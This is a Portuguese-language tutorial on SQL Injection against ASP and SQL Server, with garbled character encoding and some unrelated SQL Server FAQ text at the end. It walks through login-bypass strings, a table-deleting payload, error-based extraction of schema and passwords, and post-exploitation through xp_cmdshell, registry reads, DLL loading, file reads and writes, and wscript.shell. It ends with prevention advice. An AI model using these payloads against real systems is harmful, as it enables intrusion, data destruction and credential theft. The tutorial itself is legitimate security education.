Sql enviado ao servidor de base de dados é inválido: por sintaxe, referência de objetos inválidos,?

Voltar

Seguran�a sempre foi e ser� um tema que preocupa todos n�s, seja em casa, nas ruas ou no trabalho. Quando falamos de seguran�a em inform�tica, n�o existe um s� departamento de uma �nica empresa que n�o tenha tamb�m esta preocupa��o. Se questionarmos sobre seguran�a com desenvolvedores e DBAs, a preocupa��o ser� maior ainda, pois s�o justamente estes dois departamentos os principais respons�veis pelas aplica��es que as empresas disponibilizam na rede local (intranet), ou global (internet). S�o v�rios os objetos dessa preocupa��o, mas existe um tema relativamente antigo, desconhecidos por muitos, mas com potencial devastador quando explorado: o SQL Injection, que ser� o assunto dessa mat�ria.

O que � SQL Injection?

O SQL Injection � uma t�cnica de ataque baseada na manipula��o do c�digo SQL, que � a linguagem utilizada para troca de informa��es entre aplicativos e bancos de dados relacionais. Como a maioria dos fabricantes de software utiliza o padr�o SQL-92 ANSI (ver Nota 1) na escrita do c�digo SQL, os problemas e as falhas de seguran�a aqui apresentadas se aplicam a todo ambiente que faz uso desse padr�o para troca de informa��es - o que inclui, por exemplo, servidores Oracle. Nesse artigo foram utilizados servidores da plataforma Microsoft: Internet Information Server, Active Server Pages e Microsoft SQL Server.

Relacionado: Update Triggers: Como proteger tabelas de SQL Injection

Nota 1: ANS

O American National Standards Institute (ANSI) � uma organiza��o sem fins lucrativos cuja finalidade � criar padr�es de aceita��o internacional sobre um determinado assunto.

SQL Injection: O que �? Por que funciona?

SQL Injection � uma classe de ataque onde o invasor pode inserir ou manipular consultas criadas pela aplica��o, que s�o enviadas diretamente para o banco de dados relacional.

Por que o SQL Injection funciona?

  • Por que a aplica��o aceita dados arbitr�rios fornecidos pelo usu�rio (�confia� no texto digitado);
  • As conex�es s�o feitas no contexto de um usu�rio com privil�gios altos.

Para entendermos um pouco melhor o que � SQL Injection e por que funciona, vamos analisar exemplos pr�ticos.

Ataques de SQL Injection pela tela de Login

A t�cnica mais simples de ataque que explora SQL Injection � a que �engana� o formul�rio login de uma aplica��o. Suponha que uma determinada aplica��o web fa�a uso do c�digo exibido na Listagem 1, em que o usu�rio digita seu nome e senha.

Sql enviado ao servidor de base de dados é inválido: por sintaxe, referência de objetos inválidos,?
Listagem 1. C�digo de um formul�rio de uma aplica��o web onde o usu�rio digita nome e senha

A Figura 1 ilustra como este formul�rio � exibido para o usu�rio

Sql enviado ao servidor de base de dados é inválido: por sintaxe, referência de objetos inválidos,?
Figura 1. Tela de Login onde o usu�rio digita nome (Username) e senha (Password)

O c�digo presente na Listagem 2 mostra como a informa��o digitada pelo usu�rio ser� processada na aplica��o web.

Sql enviado ao servidor de base de dados é inválido: por sintaxe, referência de objetos inválidos,?
Listagem 2. C�digo de valida��o de usu�rio e senha

Ao digitar o nome e senha (ver Figura 1), a aplica��o web dispara uma consulta na tabela �USERS� para confirma��o do cadastro do usu�rio. Se um registro for encontrado, o username ser� retornado e esta � a confirma��o de que o usu�rio foi autenticado com sucesso. Se a consulta na tabela �USERS� n�o retornar registros, o usu�rio n�o ser� autenticado.

O principal problema do c�digo da Listagem 2 � o trecho respons�vel pela montagem do comando sql que ser� executado (ver Listagem 3).

var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";

Listagem 3. C�digo que concatena o comando sql a ser executado

Este c�digo � problem�tico porque n�o realiza nenhum tipo de valida��o nos dados que foram digitados pelo usu�rio. Isso permite que um usu�rio mal intencionado, que conhe�a somente o nome de um usu�rio v�lido, consiga �burlar� a digita��o da senha informando os seguintes par�metros na tela de autentica��o (ver Listagem 4 )

Username: admin'-- Password:

Listagem 4. Par�metro para login sem a necessidade de especificar a senha

No exemplo da Listagem 4 o usu�rio mal intencionado ser� autenticado com sucesso pois a seq��ncia de caracteres �--� faz com que todo o restante do comando ap�s esta seq��ncia seja considerado como coment�rio. O comando ser� executado sem retornar erros, pois o c�digo �"' AND PASSWORD = '" + PASSWORD + "'";� n�o ser� processado.

Agora suponha que, em oposi��o ao exemplo anterior, o invasor n�o tenha conhecimento de um nome de usu�rio v�lido. Neste caso, ele pode se autenticar com as credenciais do primeiro usu�rio cadastrado na tabela �USERS� conforme mostra a Listagem 5.

Username: ' or 1=1-- Password:

Listagem 5. Login com as credenciais do primeiro usu�rio cadastrado na tabela �USERS�

A utiliza��o destes par�metros far� com que a compara��o �1=1� seja processada como parte da consulta. Como esta compara��o � sempre verdadeira, todos os registros da tabela ser�o retornados. Como seu resultado esta sendo armazenado em uma vari�vel, o nome do primeiro usu�rio ser� considerado. Observe que tamb�m neste caso � utilizada a seq��ncia de caracteres �--� para que o restante do c�digo n�o seja processado.

Se o invasor estiver mal intencionado, ele pode, por exemplo, excluir todos os registros da tabela �USERS� de modo que nenhum usu�rio mais tenha acesso ao sistema, conforme exemplificado na Listagem 6.

Username: '; delete from users-- Password:

Listagem 6. Par�metros de usu�rio e senha especificados por um usu�rio mal intencionado

Neste caso, a �nica novidade � o caractere �;� que especifica o t�rmino de um comando SQL e o in�cio de outro.

Ataques atrav�s da interpreta��o das mensagens de erro

Para manipular os dados em um database, o usu�rio mal intencionado precisa descobrir a estrutura de alguns objetos. A tabela �USERS� utilizada nos exemplos anteriores poderia ter sido criada e populada atrav�s do c�digo exibido na Listagem 7.

create table users ( id int, username varchar(255), password varchar(255), privs int ) go insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff ) go

Listagem 7. Comando utilizado para a cria��o da tabela �USERS� e inser��o de dados

Suponha que nosso usu�rio mal intencionado queira cadastrar um usu�rio nessa tabela. Sem conhecer a estrutura da tabela, ele ter� poucas chances de sucesso. Mesmo que ele tenha sorte, o significado das colunas pode n�o ser claro o bastante � veja o caso da coluna �PRIVS�, respons�vel pelo armazenamento dos privil�gios dos usu�rios: um usu�rio mal intencionado poderia inserir o valor �1� nessa coluna, quando na verdade gostaria de atribuir o valor �65535� para que possu�sse privil�gios administrativos na aplica��o.

Felizmente, para este usu�rio mal intencionado, se as mensagens de erro forem retornadas diretamente da aplica��o (comportamento padr�o ASP), ele poder� descobrir n�o s� a estrutura da tabela � dependendo do padr�o de seguran�a atribu�do ao usu�rio conectado no banco � mas tamb�m alterar e criar objetos diretamente no banco de dados SQL Server. Os exemplos a seguir ir�o ilustrar essa t�cnica.

Inicialmente o usu�rio mal intencionado precisa descobrir os nomes das tabelas e colunas onde as consultas s�o executadas. Para isso, ele pode utilizar a cl�usula HAVING do comando SELECT conforme demonstrado na Listagem 8.

Username: ' having 1=1-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35

Listagem 8. Uso da cl�usula �HAVING� para obten��o de um erro que retorna o nome da tabela e da sua primeira coluna

Nesse momento o usu�rio mal intencionado j� sabe o nome da tabela (�USERSIS�) e sua primeira coluna (�ID�) e pode continuar reproduzindo este erro, introduzindo agora o nome da coluna descoberta em uma cl�usula GROUP BY para descobrir o nome da coluna seguinte (ver Listagem 9).

Username: ' group by users.id having 1=1-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35

Listagem 9. Uso da cl�usula �HAVING� para obten��o de um erro que retorna o nome da segunda coluna da tabela

Com isso, descobriu-se a coluna seguinte (�USERNAME�) e, em um processo de repeti��o, obt�m-se os nomes de todas as colunas da tabela. Ao final � quando todas as colunas forem utilizadas � o comando n�o retornar� erro e o nosso usu�rio mal intencionado ficar� conhecendo a estrutura da tabela �USERS� (ver Listagem 10).

Username: ' group by users.id, users.username, users.password, users.privs having 1=1--

Listagem 10. Uso da cl�usula �HAVING� com todos os campos da tabela

A consulta processada pelo servidor na Listagem 10 � equivalente ao comando exibido na Listagem 11.

select * from users where username = ''

Listagem 11. Comando equivalente ao processado pelo servidor ao final do processo

Com isso o usu�rio mal intencionado j� sabe que a consulta referencia somente a tabela �USERS� e as colunas utilizadas s�o �ID,USERNAME, PASSWORD, PRIVS� nesta ordem.

Seria interessante descobrir o tipo de dado de cada coluna. Isso pode ser obtido com a utiliza��o de uma mensagem de erro do tipo �type conversion� conforme exibido na Listagem 12.

Username: ' union select sum(username) from users-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35

Listagem 12. Erro que permite identificar o tipo de dado de uma coluna

Esta t�cnica se aproveita do fato do SQL Server processar a cl�usula SUM antes de verificar se o n�mero de colunas presentes nos dois comandos SELECT (necess�rio para processar o UNION) s�o iguais. A tentativa de executar uma soma em uma coluna tipo caracter resulta em uma incompatibilidade, caracterizada pelo erro que descreve a coluna �USERNAME� como VARCHAR. Se por outro lado tent�ssemos executar a soma de um campo num�rico, o erro retornado informaria que o numero de colunas nos dois comandos SELECT � diferente, o que pode ser constatado pelo c�digo presente na Listagem 13.

Username: ' union select sum(id) from users-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35

Listagem 13. Erro que permite identificar o tipo de dado de uma � num�rico

Esta t�cnica pode ser utilizada para identificar, de modo aproximado, o tipo de dado de cada coluna em cada tabela no banco de dados. Assim, conhecendo-se as colunas da tabela �USERS�, nosso usu�rio mal intencionado pode criar um comando INSERT coerente com a estrutura da tabela (ver Listagem 14 ).

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

Listagem 14. Cadastro realizado pelo usu�rio mal intencionado depois obter a estrutura aproximada da tabela

O problema � que o potencial desta t�cnica n�o est� limitado a esse tipo de a��o. Nosso usu�rio mal intencionado pode se aproveitar de qualquer mensagem de erro que revele informa��es sobre o ambiente ou banco de dados que est� sendo utilizado. Uma forma de explorar este recurso � atrav�s de mensagens relacionadas com convers�o de tipo de dados: se voc� tentar converter um tipo de dado caractere (CHAR) em um tipo de dado num�rico (INTEGER), todos os caracteres s�o retornados na mensagem de erro. Com isso, o usu�rio mal intencionado pode obter, por exemplo, a vers�o do SQL Server que voc� esta utilizando e o sistema operacional. Um exemplo disso pode ser visto na Listagem 15 a seguir.

Username: ' union select @@version,1,1,1-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)' to a column of data type int. /process_login.asp, line 35

Listagem 15. Erro que retorna a vers�o do SQL Server e do sistema operacional

Esta mensagem de erro � devido � tentativa de convers�o da vari�vel global @@VERSION em um tipo de dado num�rico, fato que acontece porque a primeira coluna da tabela �USERS� � num�rica.

Esta t�cnica pode ser utilizada para leitura de qualquer valor em qualquer tabela no banco de dados. Para obter nomes de usu�rios e senhas, o usu�rio mal intencionado pode obter o nome dos usu�rios a partir da tabela �USERS� utilizando o comando exibido na Listagem 16.

Username: ' union select min(username),1,1,1 from users where username > 'a'-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35

Listagem 16. Erro que retorna o nome do primeiro usu�rio cadastrado na tabela �USERS�

O que este comando faz � selecionar o menor nome de usu�rio que � maior do que �a� e depois tenta convert�-lo para um tipo de dado num�rico. Com isso, nosso usu�rio mal intencionado j� sabe que a conta �ADMIN� existe. Agora ele pode navegar entre as linhas da tabela substituindo cada novo nome de usu�rio descoberto na cl�usula WHERE (ver Listagem 17).

Username: ' union select min(username),1,1,1 from users where username > 'admin'-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. /process_login.asp, line 35

Listagem 17. Erro que retorna o nome do segundo usu�rio cadastrado na tabela �USERS�

Uma vez descobertos todos os usu�rios cadastrados, nosso usu�rio mal intencionado pode ampliar seus horizontes descobrindo senhas, conforme exibido na Listagem 18.

Username: ' union select password,1,1,1 from users where username = 'admin'-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35

Listagem 18. Erro que retorna a senha do usu�rio �ADMIN�

Uma forma mais elegante de obter estas informa��es � concatenar todos os usu�rios e senhas em uma �nica seq��ncia de caracteres e ent�o tentar converter esta seq��ncia para um tipo de dado num�rico. E isso mostra uma outra informa��o, a de que comandos T-SQL podem ser concatenados na mesma linha sem que seu resultado seja alterado. A Listagem 19 mostra um exemplo disso.

Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+ username +'/'+ password from users where username>@ret select @ret as ret into foo end-- Username: ' union select ret,1,1,1 from foo-- -- Error Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35

Listagem 19. Erro que retorna a todos os usu�rios e as senhas da tabela �USERS�

Na Listagem 19 o usu�rio mal intencionado precisou executar dois comandos: o primeiro cria uma tabela �FOO� e insere na coluna �RET� uma seq��ncia de caracteres. Se o usu�rio n�o possuir privil�gios para cria��o de uma tabela permanente, existe a op��o de criar uma tempor�ria. O passo seguinte foi tentar converter esta string em um valor num�rico.

Estes exemplos d�o uma vis�o superficial da flexibilidade desta t�cnica. De modo geral, quanto mais detalhada for a mensagem de erro que o usu�rio mal intencionado recebe, mais f�cil o seu trabalho.

Obtendo mais acessos

Uma vez que o usu�rio mal intencionado adquiriu o controle da estrutura dos objetos do banco de dados, o pr�ximo passo � utilizar os direitos inerentes ao usu�rio para controle da rede, o que pode ser feito de v�rias formas:

  1. A extended stored-procedure XP_CMDSHELL pode ser utilizada para processar comados no contexto do usu�rio que est� executando o servi�o do SQL Server no servidor de banco de dados;
  2. A extended stored procedure XP_REGREAD pode ser utilizada na leitura de chaves do registro e potencialmente o SAM (Security Accounts Manager) � caso o SQL Server esteja sendo executado com Local System Account;
  3. Pela utiliza��o de outras extended stored procedure no servidor;
  4. Atrav�s a cria��o de extended stored procedures para execu��o de aplicativos no contexto do processo do SQL Server;
  5. O comando BULK INSERT pode ser utilizado na leitura de qualquer arquivo no servidor;
  6. O comando BCP pode ser utilizado para cria��o de arquivos arbitr�rios no servidor;
  7. As rotinas sp_OACreate e sp_OAGetProperty podem ser utilizadas para cria��o de aplica��es do tipo Ole Automation (ActiveX) que podem executar tudo o que um script ASP pode executar.

Estes s�o alguns exemplos de ataques mais comuns. � bastante prov�vel que um usu�rio mal intencionado possa utilizar um cen�rio n�o mencionado aqui. Estes cen�rios foram listados como os mais �bvios em um ataque a um servidor SQL Server atrav�s de SQL Injection. Vamos analisar esses pontos.

Ataque a comandos do sistema operacional com XP_CMDSHELL

Extended stored procedures s�o essencialmente DDLs (Dynamic Link Libraries) compiladas que fazem uso de uma conven��o de chamada espec�fica do SQL Server para a execu��o de suas fun��es. Elas permitem que aplica��es SQL Server tenham acesso a todo o potencial de programa��o do C/C++ e s�o um recurso extremamente �til. Um grande n�mero de extended stored procedures j� vem embutidas no SQL Server e realizam v�rias tarefas, como envio de e-mails e intera��o com o registro do servidor.

XP_CMDSHELL � uma das extended stored procedures que j� vem com o SQL Server e que permite a execu��o de linhas de comandos da mesma forma que executamos no Command Prompt do Windows. A Listagem 20 mostra um exemplo da execu��o desta rotina com seu resultado.

Sql enviado ao servidor de base de dados é inválido: por sintaxe, referência de objetos inválidos,?
Listagem 20. Exemplo de execu��o da rotina �XP_CMDSHELL�

exec master..xp_cmdshell 'net1 user' output ----------------------------------------------------------------------- NULL User accounts for NULL ------------------------------------------------------------------------------- Administrator ASPNET Guest IUSR_LOKI IWAM_LOKI SQLDebugger SUPPORT_388945a0 WADM_LOKI The command completed with one or more errors. NULL NULL (10 row(s) affected)

Listagem 21. Exemplo de execu��o da rotina �XP_CMDSHELL� para listar todos os usu�rios do servidor

Como o servidor SQL est� sempre sendo executado com uma conta de dom�nio ou como �Local System Account�, o usu�rio mal intencionado pode fazer um grande estrago utilizando esta rotina (ver Nota 2).

Nota 2: �XP_CMDSHELL� no SQL Server 2005

O SQL Server 2005 j� vem com a extended stored procedure �XP_CMDSHELL� desabilitada diferentemente do SQL Server 2000, que vem com ela habilitada.

Ataque ao registro com XP_REGREAD

Um outro conjunto de extended stored procedures que j� vem embutidas no SQL Server s�o fun��es que come�am com �XP_REG�. Elas s�o as seguintes:

  • xp_regaddmultistring
  • xp_regdeletekey
  • xp_regdeletevalue
  • xp_regenumkeys
  • xp_regenumvalues
  • xp_regread
  • xp_regremovemultistring
  • xp_regwrite

Estas rotinas podem ser utilizadas, por exemplo, para determinar todos os null-session shares do servidor (ver Nota 3), conforme mostra a Listagem 22.

exec master..xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' Value Data ------------------------------ --------- ----- nullsessionshares - Item #1 COMCFG NULL nullsessionshares - Item #2 DFS (2row(s)affected)

Listagem 22. Exemplo de execu��o da rotina �XP_REGREAD� para listar todos null-session shares do servidor

Nota 3: Null Session Shares

Null Session Shares s�o recursos compartilhados utilizados por aplica��es que n�o s�o executadas no contexto do usu�rio-por exemplo aplica��es executadas como Local System Account.

Atrav�s destas rotinas, o usu�rio mal intencionado pode alterar configura��es de um determinado servi�o para que ele seja inicializado quando for realizado um boot no servidor.

Ataques atrav�s a outras extended stored procedures

A extended stored procedure XP_SERVICECONTROL permite que o usu�rio inicialize, finalize, pare ou continue um determinado servi�o. A Listagem 23 mostra exemplos dessa rotina.

exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server'

Listagem 23. Exemplo de execu��o da rotina �XP_SERVICECONTROL� para iniciar servi�os no servidor

Outras extended stored procedures podem ser utilizadas em ataques:

  • XP_ENUMDSN (lista os dispositivos ODBC criados no servidor);
  • XP_LOGINCONFIG (exibe o modo de seguran�a do servidor);
  • XP_MAKECAB (permite que o usu�rio crie arquivos compactados no servidor);
  • XP_NTSEC_ENUMDOMAINS (exibe os dom�nios que o servidor tem acesso);
  • XP_TERMINATE_PROCESS (finaliza um processo com um PID espec�fico).

Ataque com cria��o de extended stored procedures

A API das extended stored procedures � relativamente simples, assim como n�o � muito dif�cil criar uma DLL que contenha c�digo malicioso. Pode-se enviar uma DLL para um servidor SQL Server utilizando linhas de comando Command Prompt, assim como pode-se utilizar mecanismos de comunica��o que podem ser automatizados como downloads HTTP ou scripts FTP.

Uma vez que a DLL esta presente no servidor onde o SQL Server esta instalado, o usu�rio malicioso pode criar, executar, e excluir uma extended stored procedure utilizando os comandos presentes na Listagem 24.

use master go sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' go exec xp_webserver go sp_dropextendedproc 'xp_webserver' go

Listagem 24. Exemplo de cria��o, execu��o e exclus�o de uma extended stored procedure

Ataque pela leitura de arquivos-texto com BULK INSERT

Atrav�s do uso do comando BULK INSERT � poss�vel atualizar uma tabela a partir de um arquivo-texto. Assim, o usu�rio malicioso pode, por exemplo, inserir o conte�do de um arquivo qualquer do seu servidor em uma tabela e ler o seu conte�do utilizando qualquer uma das t�cnicas de mensagens de erro comentadas anteriormente. A Listagem 25 mostra um exemplo disso.

create table foo( line varchar(8000) ) go bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' gov

Listagem 25. Exemplo de uso do �BULK INSERT�

Ataque que resulta na cria��o de arquivos com o comando BCP

O usu�rio mal intencionado pode facilmente criar arquivos no servidor utilizando uma t�cnica inversa � t�cnica ilustrada anteriormente. Essa t�cnica, entretanto, requer a utiliza��o de um utilit�rio de linha de comando nativo do SQL Server: o BCP (Bulk Copy Program).

Como o BCP acessa o banco de dados atrav�s de um processo externo ao SQL Server, � necess�rio um usu�rio v�lido para ativar a conex�o. Se o servidor estiver configurado para seguran�a integrada, o trabalho fica ainda mais f�cil. Um exemplo da utiliza��o do BCP pode ser visto na Listagem 26.

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

Listagem 26. Exemplo de uso do �BCP�

Os par�metros utilizados aqui s�o, �-S� para o nome do servidor, �-U� para o nome do usu�rio SQL e �-P� para a senha deste usu�rio no servidor SQL. Para utilizar seguran�a integrada, basta substituir os par�metros -U e -P por -E.

Cria��o de scripts ActiveX: sp_OACreate e sp_OAGetProperty

V�rias extended stored procedures que j� v�m com o SQL Server permitem a cria��o de scripts ActiveX no SQL Server. Estes scripts t�m a mesma funcionalidade de scripts que s�o executados no contexto do Windows Scripting Host ou de scripts ASP - eles normalmente s�o escritos em VBScript ou JavaScript, e podem criar objetos e interagir com eles. Um script desses escrito em Transact-SQL pode fazer tudo o que um script ASP ou WSH pode fazer. O exemplo da Listagem 27 utiliza o objeto �WSCRIPT.SHELL� para criar uma instancia do aplicativo Notepad.

-- wscript.shell example declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Listagem 27. Exemplo de uso das rotinas sp_OACreate e sp_OAGetProperty para executar o Notepad

SQL Injection: como prevenir

Valide sempre os dados digitados pelo usu�rio

A valida��o dos dados digitados pelo usu�rio pode ser um tema aparentemente inofensivo, mas � um dos principais motivos pelo qual se faz poss�vel ataques SQL Injection. Para endere��-lo, podemos adotar as seguintes abordagens:

  1. Rejeitar dados que s�o conhecidamente inv�lidos;
  2. Aceitar somente dados que s�o conhecidamente v�lidos.

A abordagem (1) possui como principal problema o fato do desenvolvedor n�o estar necessariamente ciente do que sejam dados inv�lidos que devem ser modificados, visto que novas formas de �dados inv�lidos� s�o sempre descobertos.

A abordagem (2) � a melhor op��o e � a que deve ser utilizada. Um exemplo de implementa��o desta abordagem pode ser visto na Listagem 28 e poderia ser implementado no c�digo da Listagem 2 exibido no inicio deste artigo.

function validate( input ) goodchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validate = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( goodchars, c ) = 0 ) then validate = false exit function end if next end function

Listagem 28. Exemplo de fun��o de valida��o que s� permite letras e n�meros

Crie usu�rios com permiss�es adequadas

Nunca se deve conectar no servidor SQL Server com um usu�rio gen�rico que seja propriet�rio do banco ou administrador do servidor. Este item � o segundo mais importante para a preven��o de ataques SQL Injection.

Nunca retorne as mensagens do servidor SQL para o usu�rio

N�o retorne mensagens de erro do banco de dados diretamente para o usu�rio. Estas mensagens podem revelar informa��es importantes sobre seu servidor conforme vimos anteriormente.

Remova objetos que n�o ser�o utilizados

Muitas extended stored procedures podem ser removidas sem causar impacto para o servidor SQL Server. Se voc� n�o se sente seguro a pondo de remover uma determinada expended stored procedure, certifique-se de que nenhum usu�rio possa utiliz�-la.

Remova os bancos de dados de exemplo: PUBS e NORTHWIND.

Habilite logs de seguran�a no servidor

Habilite os logs de seguran�a no servidor que achar necess�rio e certifique-se de que eles s�o verificados periodicamente. Voc� pode, por exemplo, habilitar o log das tentativas de login que foram rejeitadas pelo servidor SQL.

Finalizando o papo sobre SQL Injection

Neste artigo vimos que SQL Injection � uma classe de ataque onde o invasor pode manipular consultas criadas pela aplica��o. Vimos tamb�m atrav�s de exemplos pr�ticos que os dois principais fatores que contribuem para este tipo de ataque s�o a falta de valida��o dos dados digitados pelo usu�rio e a utiliza��o de um usu�rio com altos privil�gios pela aplica��o. Com esses dados fica bem mais f�cil entender a potencialidade dos ataques SQL Injection e, como medida preventiva, trabalhar para que sua aplica��o n�o esteja sujeita a esse tipo de vulnerabilidade.

Saiu na DevMedia!

  • SQL Security - Site dedicado a seguran�a em SQL
  • Downloads do SQL Server
  • Wikip�dia - SQL

Saiba mais sobre SQL ;)

  • Guia SQL: Neste Guia de Refer�ncia voc� encontrar� todo o conte�do que precisa para aprender sobre a SQL, linguagem de consulta estruturada utilizada por programadores e DBAs para a execu��o de consultas e comandos nos principais SGBDs do mercado.
  • Trabalhando com a linguagem T-SQL: Este artigo apresenta o uso da linguagem T-SQL. Ser�o discutidos alguns recursos que podem ser usados no desenvolvimento e manipula��o na consulta a dados usando a ferramenta SQL Server.
  • Conceitos e cria��o de views no SQL Server: Veja neste artigo como trabalhar com views no SQL Server, aprendendo como utilizar os comandos CREATE, ALTER e DROP VIEW.

Tecnologias:
  • SQL
  • SQL Injection
Voltar

PARA QUEM QUER SER
PROGRAMADOR DE VERDADE.
VAGAS LIMITADAS

de: R$ 658,80

por: 12x R$ 49,90

Plano PRO

  • Acesso completo
  • Projetos reais
  • Professores online
  • Exerc�cios gamificados
  • Certificado de autoridade

Sql enviado ao servidor de base de dados é inválido: por sintaxe, referência de objetos inválidos,?

Por Devmedia Em 2007

Receba nossas novidades

O que é o erro SQL?

Ao conectar-se ao SQL Server, essa falha pode ser provocada porque, sob as configurações padrão, o SQL Server não permite conexões remotas. (provedor: Provedor de Pipes Nomeados, erro: 40 – não foi possível abrir uma conexão com o SQL Server) (Provedor de Dados SqlClient do . Net).

Como ativar o Agent do SQL Server?

Para configurar o SQL Server Agent.
Selecione o botão Iniciar e, no menu Iniciar, selecione Painel de Controle..
No Painel de Controle, selecione Sistema e Segurança, selecione Ferramentas Administrativas e selecione Política de Segurança Local..

Como configurar o SQL Server para permitir conexões remotas?

No Pesquisador de Objetos, clique com o botão direito do mouse em um servidor e selecione Propriedades. Selecione o nó Conexões. Em Conexões do servidor remoto, marque ou desmarque a caixa de seleção Permitir conexões remotas com este servidor .